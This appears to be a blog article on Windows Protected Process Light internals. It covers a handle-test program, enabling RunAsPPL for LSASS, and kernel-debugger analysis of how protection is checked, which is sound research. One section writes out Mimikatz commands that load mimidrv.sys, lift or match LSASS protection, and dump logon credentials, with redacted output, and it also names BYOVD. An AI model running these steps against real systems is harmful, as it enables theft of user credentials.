PPL (Protected Process Light) Internals

PPL (Protected Process Light) has been available since Windows 8.1 and restricts access from regular user-mode processes. In this article, I investigated the mechanism of PPL and its internal workings.
Since there are many explanations of what PPL is available online, I will not go into detail here.
Effect of PPL
Process Explorer (procexp) can be used to see which processes are protected by PPL.
As shown in the screenshot above, processes with PsProtectedSignerWinTcb-Light in the Protection column are protected by PPL.
In the screenshot, wininit.exe is protected by PPL, but lsass.exe does not appear to be. This is because the Windows guest in my virtual environment is version 10, which does not have PPL enabled for LSASS by default.
To confirm this, I created an executable that obtains the process handle using OpenProcess
, as shown below, and checked whether the handle could be obtained.
#include <windows.h>
#include <tlhelp32.h>
#include <stdio.h>
DWORD FindProcessId(const wchar_t* name) {
PROCESSENTRY32W pe;
HANDLE hSnapshot;
pe.dwSize = sizeof(PROCESSENTRY32W);
hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hSnapshot == INVALID_HANDLE_VALUE) {
return 0;
}
if (Process32FirstW(hSnapshot, &pe)) {
do {
if (_wcsicmp(pe.szExeFile, name) == 0) {
CloseHandle(hSnapshot);
return pe.th32ProcessID;
}
} while (Process32NextW(hSnapshot, &pe));
}
CloseHandle(hSnapshot);
return 0;
}
int wmain(int argc, wchar_t* argv[]) {
if (argc != 2) {
wprintf(L"Usage: %s <process_name>\n", argv[0]);
wprintf(L"Example: %s lsass.exe\n", argv[0]);
return 1;
}
const wchar_t* procName = argv[1];
DWORD pid = FindProcessId(procName);
if (pid == 0) {
wprintf(L"Process '%s' not found.\n", procName);
return 1;
}
HANDLE hProcess = OpenProcess(PROCESS_VM_READ | PROCESS_QUERY_INFORMATION, FALSE, pid);
if (hProcess == NULL) {
DWORD err = GetLastError();
wprintf(L"OpenProcess failed. Error code: %lu\n", err);
if (err == ERROR_ACCESS_DENIED) {
wprintf(L"Access denied → Process is likely PPL-protected.\n");
}
}
else {
wprintf(L"Handle acquired successfully. Process is likely NOT PPL-protected.\n");
CloseHandle(hProcess);
}
return 0;
}
Ran it as an administrator:
> .\get_proc_handle.exe lsass.exe
Handle acquired successfully. Process is likely NOT PPL-protected.
As a result, I was able to retrive a handle to the lsass.exe process, which means that it doesn’t seem to be protected by PPL.
> .\get_proc_handle.exe wininit.exe
OpenProcess failed. Error code: 5
Access denied
On the other hand, as shown above, I was unable to retrieve a handle to the wininit.exe process due to an “Access Denied” error, which indicates that is is protected by PPL and has a reliable level of protection.
Enabling PPL for LSASS
Now, let’s check whether I can block the execution of the OpenProcess
call mentioned above by enabling PPL for the LSASS process. To enable it, run the following command as described in the official Microsoft documentation:
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v RunAsPPL /t REG_DWORD /d 1 /f
Then, restart the computer.
In this state, if I try to obtain a handle to the lsass.exe process in the same way as before…
> .\get_proc_handle.exe lsass.exe
OpenProcess failed. Error code: 5
Access denied
As we can see above, the attempt is blocked.
Also, when I checked again with Process Explorer, PsProtectedSignerLsa-Light was displayed for the lsass.exe process this time.
Futhermore, when I tried to create a dump file of the lsass.exe process with PPL enabled, I received an “Access Denied” error:
In kernel debugging, we can check whether PPL is enabled for the specific process by examining the Protection field of the EPROCESS structure.
kd> !process 0 0 lsass.exe
PROCESS ffff958f45df3080
SessionId: 0 Cid: 0290 Peb: a0908f9000 ParentCid: 01e8
DirBase: 133a7e000 ObjectTable: ffffbb83ea09e040 HandleCount: 1002.
Image: lsass.exe
kd> dt nt!_EPROCESS ffff870248c36080 Protection
+0x87a Protection : _PS_PROTECTION
kd> dt nt!_PS_PROTECTION ffff958f45df3080+87a
+0x000 Level : 0x41
+0x000 Type : 0y001
+0x000 Audit : 0y0
+0x000 Signer : 0y0100
Based on the results above, the protection status of the lsass.exe process is as follow:
- Level: 0x41 (Calculated using PsProtectedValue)
- Type: 1 (PsProtectedTypeProtectedLight)
- Audit: 0 (Reserved value)
- Signer: 4 (PsProtectedSignerLsa)
NtDoc provides a detailed explanation of the meaning of each value.
According to NtDoc, Protection.Level
is determined by the following calculation:
// ProtectionLevel.Level = PsProtectedValue(PsProtectedSignerCodeGen, FALSE, PsProtectedTypeProtectedLight)
#define PsProtectedValue(PsSigner, PsAudit, PsType) ( \
(((PsSigner) & PS_PROTECTED_SIGNER_MASK) << 4) | \
(((PsAudit) & PS_PROTECTED_AUDIT_MASK) << 3) | \
(((PsType) & PS_PROTECTED_TYPE_MASK)) \
)
Protection.Type
is PsProtectedTypeProtectedLight, as shown in the enumeration below. This is expected, since I enabled RunAsPPL earlier:
kd> dt nt!_PS_PROTECTED_TYPE
PsProtectedTypeNone = 0n0
PsProtectedTypeProtectedLight = 0n1
PsProtectedTypeProtected = 0n2
PsProtectedTypeMax = 0n3
Protection.Signer
can be seen to be PsProtectedSignerLsa by examining the contents of the enumeration structure below:
kd> dt nt!_PS_PROTECTED_SIGNER
PsProtectedSignerNone = 0n0
PsProtectedSignerAuthenticode = 0n1
PsProtectedSignerCodeGen = 0n2
PsProtectedSignerAntimalware = 0n3
PsProtectedSignerLsa = 0n4
PsProtectedSignerWindows = 0n5
PsProtectedSignerWinTcb = 0n6
PsProtectedSignerWinSystem = 0n7
PsProtectedSignerApp = 0n8
PsProtectedSignerMax = 0n9
By the way, when I checked the wininit.exe process, its signer was PsProtectedSignerWinTcb, which is a more trusted signer than Lsass.exe’s PsProtectedSignerLsa:
kd> !process 0 0 wininit.exe
PROCESS ffff958f45d58080
SessionId: 0 Cid: 01e8 Peb: 51b1713000 ParentCid: 0180
DirBase: 12e7ec000 ObjectTable: ffffbb83e9f65380 HandleCount: 169.
Image: wininit.exe
kd> dt nt!_PS_PROTECTION ffff958f45d58080+87a
+0x000 Level : 0x61
+0x000 Type : 0y001
+0x000 Audit : 0y0
+0x000 Signer : 0y0110
PPL Bypass with Mimikatz
I found the article very helpful for understanding how to bypass PPL with Mimikatz.
When the lsass.exe process is protected by PPL, the Mimikatz sekurlsa::logonPasswords
command, which relies heavily on LSASS memory, usually fails with an “Access Denied” error:
mimikatz # privilege::debug
Privilege '20' OK
mimikatz # sekurlsa::logonPasswords
ERROR kuhl_m_sekurlsa_acquireLSA ; Handle on memory (0x00000005)
However, if we set the protection level of the mimikatz.exe process itself to be equal to or higher than LSASS through the mimidrv.sys kernel driver, it can access LSASS memory and the sekurlsa::logonPasswords
command will work, as shown below:
mimikatz # !+
[*] 'mimidrv' service not present
[+] 'mimidrv' service successfully registered
[+] 'mimidrv' service ACL to everyone
[+] 'mimidrv' service started
mimikatz # !processProtect /process:mimikatz.exe
Process : mimikatz.exe
PID 5416 -> 3f/3f [2-0-6]
mimikatz # sekurlsa::logonPasswords
Authentication Id : 0 ; 92466 (00000000:00016932)
Session : Interactive from 1
User Name : [REDACTED]
Domain : [REDACTED]
Logon Server : [REDACTED]
Logon Time : 6/2/2025 8:48:45 PM
SID : [REDACTED]
msv :
[00000003] Primary
* Username : [REDACTED]
* Domain : .
* NTLM : [REDACTED]
* SHA1 : [REDACTED]
...Omitted...
Alternatively, instead of using the !processProtect /process:mimikatz.exe
command, we can unprotect the lsass.exe process with the !processProtect /remove /process:lsass.exe
command.
As a side note, it is interesting that mimidrv.sys, signed by Benjamin Delpy over 10 years ago, can still be loaded in a Windows 10 environment.
Using mimidrv.sys would technically allow bypassing PPL, but in environments with Windows Defender enabled, it would be blocked immediately upon download, making this an unrealistic attack method.
Alternatives include using BYOVD to load a custom mimidrv.sys.
How PPL Protects the Process Internally
I understood that PPL protects against access from other processes, but I wanted to learn how it works internally, so I investigated.
To do this, I performed both user-mode and kernel-mode debugging.
User Mode Behavior
First, I checked how it looks in user mode.
I launched mimikatz.exe in WinDbg, then examined the assembly code of OpenProcess
and found that it calls NtOpenProcess
.
> uf KERNELBASE!OpenProcess
KERNELBASE!OpenProcess:
...Omitted...
00007ffc`067f08e7 48ff158a4c1b00 call qword ptr [KERNELBASE!_imp_NtOpenProcess (00007ffc`069a5578)]
I further examined the assembly code of NtOpenProcess
.
uf ntdll!NtOpenProcess
ntdll!NtOpenProcess:
00007ffc`0904d510 4c8bd1 mov r10,rcx
00007ffc`0904d513 b826000000 mov eax,26h
00007ffc`0904d518 f604250803fe7f01 test byte ptr [SharedUserData+0x308 (00000000`7ffe0308)],1
00007ffc`0904d520 7503 jne ntdll!NtOpenProcess+0x15 (00007ffc`0904d525) Branch
ntdll!NtOpenProcess+0x12:
00007ffc`0904d522 0f05 syscall
00007ffc`0904d524 c3 ret
...Omitted
I obtained the address after the syscall, set a breakpoint there, and resumed execution.
> bp 00007ffc`0904d524
> g
At this point, when I executed the mimikatz sekurlsa::logonPasswords
command, it stopped at the call from OpenProcess
to NtOpenProcess
to the syscall.
When I checked the value of rax
, which stores the return value, I found it was 0xc0000022
(STATUS_ACCESS_DENIED).
> r rax
rax=00000000c0000022
That’s the limit of what I could observe in user mode. However, what I really want to understand is how the protection settings are checked inside the syscall and how it returns Access Denied.
Therefore, I needed to investigate it in kernel mode.
Kernel Mode Behavior
The investigation in kernel mode was quite challenging. I started by examining NtOpenProcess
, then recursively investigated the function it called, and the function those called, and so on. At the very least, this recursive investigation revealed the following call chain:
NtOpenProcess -> PsOpenProcess -> ObObjectByPointer -> ObpCreateHandle -> SeAccessCheck -> SeAccessCheckWithHintWithAdminlessChecks
The function SeAccessCheckWithHintWithAdminlessChecks
included several code paths that returned the valu Access Denied (0xc0000022)
. However, this might not be the correct path, and I could be misinterpreting the results.
After further investigation, I found that PsIsProtectedProcessLight
references the value of the Protection field of the specified process.
kd> uf nt!PsIsProtectedProcessLight
nt!PsIsProtectedProcessLight:
fffff806`312e2210 8a917a080000 mov dl,byte ptr [rcx+87Ah]
fffff806`312e2216 33c0 xor eax,eax
fffff806`312e2218 80e207 and dl,7
fffff806`312e221b 80fa01 cmp dl,1
fffff806`312e221e 0f94c0 sete al
fffff806`312e2221 c3 ret
The function checks whether the value of the Protection.Type
field in the EPROCESS structure of the target process (passed as the first argument in rcx
) is 1
(PsProtectedTypeProtectedLight). If so, it returns True (al = 1)
.
Therefore, I set a breakpoint at this function.
kd> bp nt!PsIsProtectedProcessLight ".if (@rcx == ffffc50b8fec80c0) {} .else {gc}"
kd> g
After the breakpoint was hit, I checked the ImageFileName
field of the EPROCESS structure for the targer process passed as the first argument:
kd> dt nt!_EPROCESS @rcx ImageFileName
+0x5a8 ImageFileName : [15] "mimikatz"
As a result, I found that it checks the protection type of the process accessing the target process (in this case, lsass.exe).
In addition, I examined the call stack to see how this function was invoked:
kd> k
# Child-SP RetAddr Call Site
00 ffffab87`2691c5c8 fffff806`34460315 nt!PsIsProtectedProcessLight
01 ffffab87`2691c5d0 fffff806`3162b4a9 CI!CiRevalidateImage+0x95
02 ffffab87`2691c600 fffff806`3167f08b nt!MiValidateExistingImage+0x1f5
03 ffffab87`2691c6a0 fffff806`3167fe4d nt!MiShareExistingControlArea+0xc7
04 ffffab87`2691c6d0 fffff806`3167f5c4 nt!MiCreateImageOrDataSection+0x1ad
05 ffffab87`2691c7c0 fffff806`3167f3a7 nt!MiCreateSection+0xf4
06 ffffab87`2691c940 fffff806`3167f18c nt!MiCreateSectionCommon+0x207
07 ffffab87`2691ca20 fffff806`3140f4f8 nt!NtCreateSection+0x5c
08 ffffab87`2691ca90 00007ffe`3f66d9a4 nt!KiSystemServiceCopyEnd+0x28
09 00000092`8fcff608 00007ffe`3f62fd2e ntdll!NtCreateSection+0x14
0a 00000092`8fcff610 00007ffe`3f62fab0 ntdll!LdrpMapDllNtFileName+0x14a
0b 00000092`8fcff710 00007ffe`3f62ed4f ntdll!LdrpMapDllFullPath+0xe0
0c 00000092`8fcff8a0 00007ffe`3f5efb53 ntdll!LdrpProcessWork+0x123
0d 00000092`8fcff900 00007ffe`3f5e73e4 ntdll!LdrpLoadDllInternal+0x13f
0e 00000092`8fcff980 00007ffe`3f5e6af4 ntdll!LdrpLoadDll+0xa8
0f 00000092`8fcffb30 00007ffe`3d0956b2 ntdll!LdrLoadDll+0xe4
10 00000092`8fcffc20 ffffffff`fffffffe 0x00007ffe`3d0956b2
11 00000092`8fcffc28 00000000`00000800 0xffffffff`fffffffe
12 00000092`8fcffc30 00000000`00000000 0x800
From the above results, it appears that PsIsProtectedProcessLight
is not called directly from any of the functions within NtOpenProcess
. However, based on the simplicity of its implementation, it seems likely that the system can check the protection level and type without explicity calling this function.
Although I wasn’t able to pinpoint a definitive answer, I discovered that the system compares the protection level and type of the source and target processes to determine whether access should be allowed.